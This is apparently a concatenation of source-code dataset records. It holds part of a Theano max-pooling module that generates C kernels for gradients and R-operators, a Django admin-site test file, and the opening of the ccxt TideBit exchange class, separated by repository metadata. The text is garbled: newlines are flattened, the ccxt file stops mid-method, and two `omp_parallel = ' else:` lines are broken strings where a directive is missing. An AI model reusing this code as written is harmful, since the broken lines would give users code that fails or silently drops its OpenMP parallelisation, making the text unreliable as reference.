r[%(i)s] - 2 * pd[%(i)s] : r_end[%(i)s] - pd[%(i)s]; // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, sum_mode=sum_mode, inc_pad=inc_pad, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(gz)s * gz; dtype_%(gz)s val; if (%(total_ndim)s == 4) { // the gradient for this region gz = ((dtype_%(gz)s*)(PyArray_GETPTR4(%(gz)s, o_idx[0],o_idx[1],o_idx[2],o_idx[3]))); } else { // the gradient for this region gz = ((dtype_%(gz)s*)(PyArray_GetPtr(%(gz)s, o_idx))); } // compute the contribution if (%(sum_mode)s) { val = gz[0]; } else { val = gz[0] / (%(region_size)s); } """ region_size = ' * '.join('r_pad_width[%d]' % i for i in xrange(nd)) for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(gx)s * gx; if (%(total_ndim)s == 4) { gx = ((dtype_%(gx)s*)(PyArray_GETPTR4(%(gx)s, i_idx[0],i_idx[1],i_idx[2],i_idx[3]))); } else { gx = ((dtype_%(gx)s*)(PyArray_GetPtr(%(gx)s, i_idx))); } gx[0] = gx[0] + val; """ for i in xrange(nd): ccode += """ } // for loop over region """ for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions } // if z_prod """ return ccode % locals() def c_code_cache_version(self): return (0, 3, self.openmp) class DownsampleFactorMaxGradGrad(OpenMPOp): __props__ = ('ignore_border', 'mode', 'ndim') def __init__(self, ignore_border, mode='max', ndim=2, openmp=None): self.ndim = ndim self.ignore_border = ignore_border self.mode = mode super(DownsampleFactorMaxGradGrad, self).__init__(openmp=openmp) assert self.mode == 'max' def make_node(self, x, maxout, gz, ws, stride=None, pad=None): # make_node should only be called by the grad function of # MaxPoolGrad, so these asserts should not fail. x = tensor.as_tensor_variable(x) maxout = tensor.as_tensor_variable(maxout) gz = tensor.as_tensor_variable(gz) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd elif isinstance(pad, (tuple, list)): if max(pad) != 0 and not self.ignore_border: raise NotImplementedError( 'padding works only with ignore_border=True') if isinstance(ws, (tuple, list)): if any(pad[i] >= ws[i] for i in range(nd)): raise NotImplementedError( 'padding must be smaller than strides') ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert ws.ndim == 1 assert stride.ndim == 1 assert pad.ndim == 1 assert x.ndim == maxout.ndim == gz.ndim >= nd if ws.dtype not in tensor.int_dtypes: raise TypeError('Pool downsample parameters must be ints.') if stride.dtype not in tensor.int_dtypes: raise TypeError('Stride parameters must be ints.') if pad.dtype not in tensor.int_dtypes: raise TypeError('Padding parameters must be ints.') return Apply(self, [x, maxout, gz, ws, stride, pad], [x.type()]) def perform(self, node, inp, out): x, maxout, ggx, ws, stride, pad = inp z, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'DownsampleFactorMaxGradGrad requires input ' 'with {} or more dimensions'.format(nd)) if (z[0] is None) or (z[0].shape != maxout.shape): z[0] = np.zeros(maxout.shape, dtype=x.dtype) ggz = z[0] # grad wrt maxout_grad has the same shape as maxout # size of pooling output pool_out_shp = ggz.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) # pad the image and its gradients if max(pad) > 0: y_padded = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) y_padded[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = x ggx_padded = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) ggx_padded[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = ggx else: y_padded = x ggx_padded = ggx # precompute the region boundaries for each dimension region_ranges = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): start = j * stride[i] end = builtins.min(start + ws[i], img_shp[i]) region_ranges[i].append(xrange(start, end)) # iterate over non-pooling dimensions for k in np.ndindex(*x.shape[:-nd]): ggxk = ggx_padded[k] ggzk = ggz[k] yk = y_padded[k] maxoutk = maxout[k] # iterate over pooling regions for r in np.ndindex(*pool_out_shp): # iterate inside region maxout_value = maxoutk[r] for c in itertools.product(*[region_ranges[i][r[i]] for i in xrange(nd)]): if maxout_value == yk[c]: ggzk[r] += ggxk[c] def infer_shape(self, node, in_shapes): return [in_shapes[1]] def grad(self, inp, grads): x, maxout, ggx, ws, stride, pad = inp gz, = grads return [theano.tensor.zeros_like(x), theano.tensor.zeros_like(maxout), MaxPoolGrad(ignore_border=self.ignore_border, ndim=self.ndim)(x, maxout, gz, ws, stride, pad), DisconnectedType()(), DisconnectedType()(), DisconnectedType()()] def connection_pattern(self, node): return [[1], [1], [1], [0], [0], [0]] def c_code(self, node, name, inp, out, sub): if self.mode != 'max': raise theano.gof.utils.MethodNotDefined() x, maxout, ggx, ws, stride, pad = inp z, = out # the grad of grad nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] if self.openmp: # run in parallel over each pooling block omp_parallel = ' else: omp_parallel = '' ccode = """ int z_typenum = PyArray_ObjectType((PyObject*)%(maxout)s, 0); int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); z[i] = PyArray_DIMS(%(maxout)s)[%(non_pool_ndim)s + i]; r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; } // allocating memory for output, if necessary int mem_nec; mem_nec = 0; if ((!%(z)s) || !PyArray_ISCONTIGUOUS(%(z)s) || *PyArray_DIMS(%(z)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(total_ndim)s; i++) { if (PyArray_DIMS(%(z)s)[i] != PyArray_DIMS(%(maxout)s)[i]) { mem_nec = 1; break; } } } if (mem_nec) { Py_XDECREF(%(z)s); %(z)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, PyArray_DIMS(%(maxout)s), z_typenum,0); } else { PyArray_FILLWBYTE(%(z)s, 0); } dtype_%(maxout)s maximum; // temp var for maximum value in a region // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod; non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] = o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; // skip the padding r_st[%(i)s] = r_st[%(i)s] < pd[%(i)s] ? pd[%(i)s] : r_st[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > (r[%(i)s] - pd[%(i)s]) ? r[%(i)s] - pd[%(i)s] : r_end[%(i)s]; // from padded_img space to img space r_st[%(i)s] -= pd[%(i)s]; r_end[%(i)s] -= pd[%(i)s]; // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(z)s * z; if (%(total_ndim)s == 4) { // the maximum value maximum = ((dtype_%(maxout)s*)(PyArray_GETPTR4(%(maxout)s,o_idx[0],o_idx[1],o_idx[2],o_idx[3])))[0]; // z at this position z = ((dtype_%(z)s*)(PyArray_GETPTR4(%(z)s,o_idx[0],o_idx[1],o_idx[2],o_idx[3]))); } else { // the maximum value maximum = ((dtype_%(maxout)s*)(PyArray_GetPtr(%(maxout)s,o_idx)))[0]; // z at this position z = ((dtype_%(z)s*)(PyArray_GetPtr(%(z)s,o_idx))); } """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ dtype_%(x)s a; dtype_%(ggx)s * ggx; if (%(total_ndim)s == 4) { a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; ggx = ((dtype_%(ggx)s*)(PyArray_GETPTR4(%(ggx)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3]))); } else { a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; ggx = ((dtype_%(ggx)s*)(PyArray_GetPtr(%(ggx)s,i_idx))); } if (a == maximum){ z[0] += ggx[0]; } """ for i in xrange(nd): ccode += """ } // for loop over region """ for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions """ return ccode % locals() def c_code_cache_version(self): return (0, 4, self.openmp) class MaxPoolRop(OpenMPOp): __props__ = ('ignore_border', 'mode', 'ndim') params_type = ParamsType(ignore_border=bool_t,) def __init__(self, ignore_border=False, mode='max', ndim=2, openmp=None): super(MaxPoolRop, self).__init__(openmp=openmp) self.ndim = ndim self.ignore_border = ignore_border self.mode = mode assert mode == 'max' def make_node(self, x, eval_point, ws, stride=None, pad=None): # TODO: consider restricting the dtype? x = tensor.as_tensor_variable(x) eval_point = tensor.as_tensor_variable(eval_point) nd = self.ndim if stride is None: stride = ws if pad is None: pad = (0,) * nd elif isinstance(pad, (tuple, list)): if max(pad) != 0 and not self.ignore_border: raise NotImplementedError( 'padding works only with ignore_border=True') if isinstance(ws, (tuple, list)): if any(pad[i] >= ws[i] for i in range(nd)): raise NotImplementedError( 'padding must be smaller than strides') ws = tensor.as_tensor_variable(ws) stride = tensor.as_tensor_variable(stride) pad = tensor.as_tensor_variable(pad) assert ws.ndim == 1 assert stride.ndim == 1 assert pad.ndim == 1 if x.type.ndim < nd: raise TypeError() if not ws.dtype.startswith('int'): raise TypeError('Pool downsample parameters must be ints.') if not stride.dtype.startswith('int'): raise TypeError('Stride parameters must be ints.') if not pad.dtype.startswith('int'): raise TypeError('Padding parameters must be ints.') # If the input shape are broadcastable we can have 0 in the output shape broad = x.broadcastable[:-nd] + (False,) * nd out = tensor.TensorType(eval_point.dtype, broad) return gof.Apply(self, [x, eval_point, ws, stride, pad], [out()]) def perform(self, node, inp, out, params): x, ex, ws, stride, pad = inp z, = out nd = self.ndim assert ws.shape == stride.shape == pad.shape == (nd,) if len(x.shape) < nd: raise NotImplementedError( 'Pool requires input with {} or more dimensions'.format(nd)) z_shape = Pool.out_shape(x.shape, ws, params.ignore_border, stride, pad, nd) if not self.ignore_border: assert all(z > 0 for z in z_shape[-nd:]) if (z[0] is None) or (z[0].shape != z_shape): z[0] = np.empty(z_shape, dtype=x.dtype) zz = z[0] # size of pooling output pool_out_shp = zz.shape[-nd:] img_shp = tuple(x.shape[-nd + i] + 2 * pad[i] for i in xrange(nd)) inc_pad = self.mode == 'average_inc_pad' # pad the image and the eval point if max(pad) != 0: y = np.zeros(x.shape[:-nd] + img_shp, dtype=x.dtype) y[(slice(None),) * (len(x.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = x ey = np.zeros(ex.shape[:-nd] + img_shp, dtype=ex.dtype) ey[(slice(None),) * (len(ex.shape) - nd) + tuple(slice(pad[i], img_shp[i] - pad[i]) for i in xrange(nd))] = ex else: y = x ey = ex # precompute the region boundaries for each dimension region_slices = [[] for i in xrange(nd)] for i in xrange(nd): for j in xrange(pool_out_shp[i]): start = j * stride[i] end = builtins.min(start + ws[i], img_shp[i]) if not inc_pad: start = builtins.max(start, pad[i]) end = builtins.min(end, img_shp[i] - pad[i]) region_slices[i].append(slice(start, end)) # iterate over non-pooling dimensions for k in np.ndindex(*x.shape[:-nd]): zzk = zz[k] yk = y[k] eyk = ey[k] # iterate over pooling regions for r in np.ndindex(*pool_out_shp): # current slice in padded input ykslice = yk[[region_slices[i][r[i]] for i in xrange(nd)]] # current slice in eval points eykslice = eyk[[region_slices[i][r[i]] for i in xrange(nd)]] # indices of maximum idx = np.unravel_index(np.argmax(ykslice), ykslice.shape) zzk[r] = eykslice[idx] def c_headers(self): headers = ['<algorithm>'] headers += super(MaxPoolRop, self).c_headers() return headers def c_code(self, node, name, inp, out, sub): if self.mode != 'max': raise theano.gof.utils.MethodNotDefined() x, ex, ws, stride, pad = inp z, = out nd = self.ndim total_ndim = node.inputs[0].ndim non_pool_ndim = total_ndim - nd fail = sub['fail'] params = sub['params'] if self.openmp: # run in parallel over each pooling block omp_parallel = ' else: omp_parallel = '' ccode = """ int typenum = PyArray_ObjectType((PyObject*)%(x)s, 0); if(PyArray_NDIM(%(x)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "x must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_NDIM(%(ex)s)!=%(total_ndim)s) { PyErr_SetString(PyExc_ValueError, "eval_point must be a %(total_ndim)sD ndarray"); %(fail)s; } if(PyArray_DIM(%(ws)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "ws must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(stride)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "stride must be a vector of size %(nd)s"); %(fail)s; } if(PyArray_DIM(%(pad)s, 0)!=%(nd)s) { PyErr_SetString(PyExc_ValueError, "pad must be a vector of size %(nd)s"); %(fail)s; } int z[%(nd)s]; // shape of the output int r[%(nd)s]; // shape of the padded_input int ws[%(nd)s]; int st[%(nd)s]; int pd[%(nd)s]; int nonzero_padding; nonzero_padding = 0; for (int i=0; i<%(nd)s; i++) { ws[i] = *((npy_intp*)PyArray_GETPTR1(%(ws)s, i)); st[i] = *((npy_intp*)PyArray_GETPTR1(%(stride)s, i)); pd[i] = *((npy_intp*)PyArray_GETPTR1(%(pad)s, i)); r[i] = PyArray_DIMS(%(x)s)[%(non_pool_ndim)s + i] + 2 * pd[i]; if (pd[i]>0) nonzero_padding = 1; } if (!%(params)s->ignore_border && nonzero_padding) { PyErr_SetString(PyExc_ValueError, "padding must be zero when ignore border is False"); %(fail)s; } if (%(params)s->ignore_border) { for (int i=0; i<%(nd)s; i++) { // '/' in C is different from '/' in python if (r[i] - ws[i] < 0) { z[i] = 0; } else { z[i] = (r[i] - ws[i]) / st[i] + 1; } } } else { for (int i=0; i<%(nd)s; i++) { // decide how many rows/cols the output has if (st[i] >= ws[i]) { z[i] = (r[i] - 1) / st[i] + 1; } else { z[i] = std::max(0, (r[i] - 1 - ws[i] + st[i]) / st[i]) + 1; } assert(z[i] > 0); } } // memory allocation of z if necessary int mem_nec; mem_nec = 0; if ((!%(z)s) || *PyArray_DIMS(%(z)s)!=%(total_ndim)s) { mem_nec = 1; } if (!mem_nec) { for (int i=0; i<%(non_pool_ndim)s; i++) { if (PyArray_DIMS(%(z)s)[i] != PyArray_DIMS(%(x)s)[i]) { mem_nec = 1; break; } } } if (!mem_nec) { for (int i=0; i<%(nd)s; i++) { if (PyArray_DIMS(%(z)s)[%(non_pool_ndim)s + i] != z[i]) { mem_nec = 1; break; } } } if (mem_nec) { if (%(z)s) Py_XDECREF(%(z)s); npy_intp dims[%(total_ndim)s]; for (int i=0; i<%(non_pool_ndim)s; i++) { dims[i] = PyArray_DIMS(%(x)s)[i]; } for (int i=0; i<%(nd)s; i++) { dims[%(non_pool_ndim)s + i] = z[i]; } //TODO: zeros not necessary %(z)s = (PyArrayObject*) PyArray_ZEROS(%(total_ndim)s, dims, typenum,0); } // initialize temp var for the value in a region dtype_%(x)s collector; dtype_%(ex)s eval_collector; int z_prod; // do not run if any z[i] is zero z_prod = 1; for (int i=0; i<%(nd)s; i++) { z_prod *= z[i]; } if (z_prod) { // will be used to hold start and end index of a region int r_st[%(nd)s]; int r_end[%(nd)s]; // index for iterating over the pooling regions int r_idx[%(nd)s]; // placeholder for PyArray indexing (output) npy_intp o_idx[%(total_ndim)s]; // placeholder for PyArray indexing (input) npy_intp i_idx[%(total_ndim)s]; // loop over non-pooling dimensions int non_pooling_prod = 1; for (int i=0; i<%(non_pool_ndim)s; i++) { non_pooling_prod *= PyArray_DIMS(%(x)s)[i]; } %(omp_parallel)s // first loop over non-pooling dimensions for (int t=0; t<non_pooling_prod; t++) { // compute the non-pooling index in each dimension if (%(non_pool_ndim)s!=0) { o_idx[0] = t; i_idx[0] = t; for (int i=1; i<%(non_pool_ndim)s; i++) { o_idx[i] = o_idx[i - 1] / PyArray_DIMS(%(x)s)[i - 1]; o_idx[i - 1] = o_idx[i - 1] %% PyArray_DIMS(%(x)s)[i - 1]; i_idx[i] = o_idx[i]; i_idx[i - 1] = o_idx[i - 1]; } } // then loop over each region in each pooling dimension """ for i in xrange(nd): ccode += """ for (r_idx[%(i)s]=0; r_idx[%(i)s] < z[%(i)s]; r_idx[%(i)s]++) { r_st[%(i)s] = r_idx[%(i)s] * st[%(i)s]; r_end[%(i)s] = r_st[%(i)s] + ws[%(i)s]; // skip the padding r_st[%(i)s] = r_st[%(i)s] < pd[%(i)s] ? pd[%(i)s] : r_st[%(i)s]; r_end[%(i)s] = r_end[%(i)s] > (r[%(i)s] - pd[%(i)s]) ? r[%(i)s] - pd[%(i)s] : r_end[%(i)s]; // from padded_img space to img space r_st[%(i)s] -= pd[%(i)s]; r_end[%(i)s] -= pd[%(i)s]; // handle the case where no padding, ignore border is True if (%(params)s->ignore_border) { r_end[%(i)s] = r_end[%(i)s] > r[%(i)s] ? r[%(i)s] : r_end[%(i)s]; } // use the index to find the correct position in the output o_idx[%(non_pool_ndim)s + %(i)s] = r_idx[%(i)s]; """ % dict(i=i, params=sub['params'], non_pool_ndim=non_pool_ndim) ccode += """ // get a pointer to the correct position in the output dtype_%(z)s * z; if (%(total_ndim)s == 4) z = ((dtype_%(z)s*)(PyArray_GETPTR4(%(z)s, o_idx[0], o_idx[1], o_idx[2], o_idx[3]))); else z = ((dtype_%(z)s*)(PyArray_GetPtr(%(z)s, o_idx))); """ for i in xrange(nd): ccode += """ // set the first index of dimension %(i)s i_idx[%(non_pool_ndim)s + %(i)s] = r_st[%(i)s]; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // use the first element as the initial value of collector if (%(total_ndim)s == 4) { collector = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; eval_collector = ((dtype_%(ex)s*)(PyArray_GETPTR4(%(ex)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; } else { collector = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; eval_collector = ((dtype_%(ex)s*)(PyArray_GetPtr(%(ex)s,i_idx)))[0]; } """ for i in xrange(nd): ccode += """ // go through the pooled region in the unpadded input for(int m%(i)s=r_st[%(i)s]; m%(i)s<r_end[%(i)s]; m%(i)s++) { i_idx[%(non_pool_ndim)s + %(i)s] = m%(i)s; """ % dict(i=i, non_pool_ndim=non_pool_ndim) ccode += """ // update maximum dtype_%(x)s a; dtype_%(ex)s ea; if (%(total_ndim)s == 4) { a = ((dtype_%(x)s*)(PyArray_GETPTR4(%(x)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; ea = ((dtype_%(ex)s*)(PyArray_GETPTR4(%(ex)s,i_idx[0],i_idx[1],i_idx[2],i_idx[3])))[0]; } else { a = ((dtype_%(x)s*)(PyArray_GetPtr(%(x)s,i_idx)))[0]; ea = ((dtype_%(ex)s*)(PyArray_GetPtr(%(ex)s,i_idx)))[0]; } if (a > collector) { collector = a; eval_collector = ea; } """ for i in xrange(nd): ccode += """ } // for loop over region """ ccode += """ z[0] = eval_collector; """ for i in xrange(nd): ccode += """ } // loop over pooling dimension """ ccode += """ } // for loop over non-pooling dimensions } // if z_prod """ return ccode % locals() def c_code_cache_version(self): return (1, self.openmp)

true

f7104a1e09cb5f5864d25354d11d833d0bfc4a7e

1,306

py

Python

app/core/tests/test_admin.py

rodnaskorn/recipe-app-api

a3d16d77ef51ea39d9ac433772de99f29e2fc1cd

[ "MIT" ]

null

app/core/tests/test_admin.py

rodnaskorn/recipe-app-api

a3d16d77ef51ea39d9ac433772de99f29e2fc1cd

[ "MIT" ]

null

app/core/tests/test_admin.py

rodnaskorn/recipe-app-api

a3d16d77ef51ea39d9ac433772de99f29e2fc1cd

[ "MIT" ]

null

from django.test import TestCase, Client from django.contrib.auth import get_user_model from django.urls import reverse class AdminSiteTests(TestCase): def setUp(self): self.client = Client() self.admin_user = get_user_model().objects.create_superuser( email='admin@test.com', password='password123' ) self.client.force_login(self.admin_user) self.user = get_user_model().objects.create_user( email='test@test.com', password='password123', name='John Smith' ) def test_users_listed(self): """Test that users are listed on user page""" url = reverse('admin:core_user_changelist') res = self.client.get(url) self.assertContains(res, self.user.name) self.assertContains(res, self.user.email) def test_user_change_page(self): """Test that the user edit page works""" url = reverse('admin:core_user_change', args=[self.user.id]) res = self.client.get(url) self.assertEqual(res.status_code, 200) def test_create_user_page(self): """Test that the create user page works""" url = reverse('admin:core_user_add') res = self.client.get(url) self.assertEqual(res.status_code, 200)

31.095238

68

0.637825

from django.test import TestCase, Client from django.contrib.auth import get_user_model from django.urls import reverse class AdminSiteTests(TestCase): def setUp(self): self.client = Client() self.admin_user = get_user_model().objects.create_superuser( email='admin@test.com', password='password123' ) self.client.force_login(self.admin_user) self.user = get_user_model().objects.create_user( email='test@test.com', password='password123', name='John Smith' ) def test_users_listed(self): url = reverse('admin:core_user_changelist') res = self.client.get(url) self.assertContains(res, self.user.name) self.assertContains(res, self.user.email) def test_user_change_page(self): url = reverse('admin:core_user_change', args=[self.user.id]) res = self.client.get(url) self.assertEqual(res.status_code, 200) def test_create_user_page(self): url = reverse('admin:core_user_add') res = self.client.get(url) self.assertEqual(res.status_code, 200)

true

f7104a21aebf2e2aa07cc55c113bdba2ce69ca83

16,448

py

Python

python/ccxt/tidebit.py

xeddmc/ccxt

9ddd88e6bbc4b2162cf45d331995bb86235d2a59

[ "MIT" ]

1

2021-03-01T17:45:33.000Z

python/ccxt/tidebit.py

xeddmc/ccxt

9ddd88e6bbc4b2162cf45d331995bb86235d2a59

[ "MIT" ]

4

2020-09-06T22:46:57.000Z

2021-05-10T08:35:02.000Z

python/ccxt/tidebit.py

xeddmc/ccxt

9ddd88e6bbc4b2162cf45d331995bb86235d2a59

[ "MIT" ]

1

2019-11-08T12:36:13.000Z

# -*- coding: utf-8 -*- # PLEASE DO NOT EDIT THIS FILE, IT IS GENERATED AND WILL BE OVERWRITTEN: # https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md#how-to-contribute-code from ccxt.base.exchange import Exchange from ccxt.base.errors import ExchangeError from ccxt.base.errors import InsufficientFunds from ccxt.base.errors import OrderNotFound class tidebit (Exchange): def describe(self): return self.deep_extend(super(tidebit, self).describe(), { 'id': 'tidebit', 'name': 'TideBit', 'countries': ['HK'], 'rateLimit': 1000, 'version': 'v2', 'has': { 'fetchDepositAddress': True, 'CORS': True, 'fetchTickers': True, 'fetchOHLCV': True, 'withdraw': True, }, 'timeframes': { '1m': '1', '5m': '5', '15m': '15', '30m': '30', '1h': '60', '2h': '120', '4h': '240', '12h': '720', '1d': '1440', '3d': '4320', '1w': '10080', }, 'urls': { 'logo': 'https://user-images.githubusercontent.com/1294454/39034921-e3acf016-4480-11e8-9945-a6086a1082fe.jpg', 'api': 'https://www.tidebit.com', 'www': 'https://www.tidebit.com', 'doc': [ 'https://www.tidebit.com/documents/api/guide', 'https://www.tidebit.com/swagger/#/default', ], 'referral': 'http://bit.ly/2IX0LrM', }, 'api': { 'public': { 'get': [ 'markets', 'tickers', 'tickers/{market}', 'timestamp', 'trades', 'trades/{market}', 'order_book', 'order', 'k_with_pending_trades', 'k', 'depth', ], 'post': [], }, 'private': { 'get': [ 'addresses/{address}', 'deposits/history', 'deposits/get_deposit', 'deposits/deposit_address', 'historys/orders', 'historys/vouchers', 'historys/accounts', 'historys/snapshots', 'linkage/get_status', 'members/me', 'order', 'orders', 'partners/orders/{id}/trades', 'referral_commissions/get_undeposited', 'referral_commissions/get_graph_data', 'trades/my', 'withdraws/bind_account_list', 'withdraws/get_withdraw_account', 'withdraws/fetch_bind_info', ], 'post': [ 'deposits/deposit_cash', 'favorite_markets/update', 'order/delete', 'orders', 'orders/multi', 'orders/clear', 'referral_commissions/deposit', 'withdraws/apply', 'withdraws/bind_bank', 'withdraws/bind_address', ], }, }, 'fees': { 'trading': { 'tierBased': False, 'percentage': True, 'maker': 0.2 / 100, 'taker': 0.2 / 100, }, 'funding': { 'tierBased': False, 'percentage': True, 'withdraw': {}, # There is only 1% fee on withdrawals to your bank account. }, }, 'exceptions': { '2002': InsufficientFunds, '2003': OrderNotFound, }, }) def fetch_deposit_address(self, code, params={}): self.load_markets() currency = self.currency(code) request = { 'currency': currency['id'], } response = self.privateGetDepositAddress(self.extend(request, params)) if 'success' in response: if response['success']: address = self.safe_string(response, 'address') tag = self.safe_string(response, 'addressTag') return { 'currency': code, 'address': self.check_address(address), 'tag': tag, 'info': response, } def fetch_markets(self, params={}): response = self.publicGetMarkets(params) result = [] for i in range(0, len(response)): market = response[i] id = self.safe_string(market, 'id') symbol = self.safe_string(market, 'name') baseId, quoteId = symbol.split('/') base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) result.append({ 'id': id, 'symbol': symbol, 'base': base, 'quote': quote, 'baseId': baseId, 'quoteId': quoteId, 'info': market, }) return result def fetch_balance(self, params={}): self.load_markets() response = self.privateGetMembersMe(params) balances = self.safe_value(response, 'accounts') result = {'info': balances} for i in range(0, len(balances)): balance = balances[i] currencyId = self.safe_string(balance, 'currency') code = self.safe_currency_code(currencyId) account = self.account() account['free'] = self.safe_float(balance, 'balance') account['used'] = self.safe_float(balance, 'locked') result[code] = account return self.parse_balance(result) def fetch_order_book(self, symbol, limit=None, params={}): self.load_markets() market = self.market(symbol) request = { 'market': market['id'], } if limit is not None: request['limit'] = limit # default = 300 request['market'] = market['id'] response = self.publicGetDepth(self.extend(request, params)) timestamp = self.safe_timestamp(response, 'timestamp') return self.parse_order_book(response, timestamp) def parse_ticker(self, ticker, market=None): timestamp = self.safe_timestamp(ticker, 'at') ticker = self.safe_value(ticker, 'ticker', {}) symbol = None if market is not None: symbol = market['symbol'] last = self.safe_float(ticker, 'last') return { 'symbol': symbol, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'high': self.safe_float(ticker, 'high'), 'low': self.safe_float(ticker, 'low'), 'bid': self.safe_float(ticker, 'buy'), 'ask': self.safe_float(ticker, 'sell'), 'bidVolume': None, 'askVolume': None, 'vwap': None, 'open': None, 'close': last, 'last': last, 'change': None, 'percentage': None, 'previousClose': None, 'average': None, 'baseVolume': self.safe_float(ticker, 'vol'), 'quoteVolume': None, 'info': ticker, } def fetch_tickers(self, symbols=None, params={}): self.load_markets() tickers = self.publicGetTickers(params) ids = list(tickers.keys()) result = {} for i in range(0, len(ids)): id = ids[i] market = None symbol = id if id in self.markets_by_id: market = self.markets_by_id[id] symbol = market['symbol'] else: baseId = id[0:3] quoteId = id[3:6] base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) symbol = base + '/' + quote ticker = tickers[id] result[symbol] = self.parse_ticker(ticker, market) return result def fetch_ticker(self, symbol, params={}): self.load_markets() market = self.market(symbol) request = { 'market': market['id'], } response = self.publicGetTickersMarket(self.extend(request, params)) return self.parse_ticker(response, market) def parse_trade(self, trade, market=None): timestamp = self.parse8601(self.safe_string(trade, 'created_at')) id = self.safe_string(trade, 'id') price = self.safe_float(trade, 'price') amount = self.safe_float(trade, 'volume') cost = self.safe_float(trade, 'funds') symbol = None if market is not None: symbol = market['symbol'] return { 'id': id, 'info': trade, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'symbol': symbol, 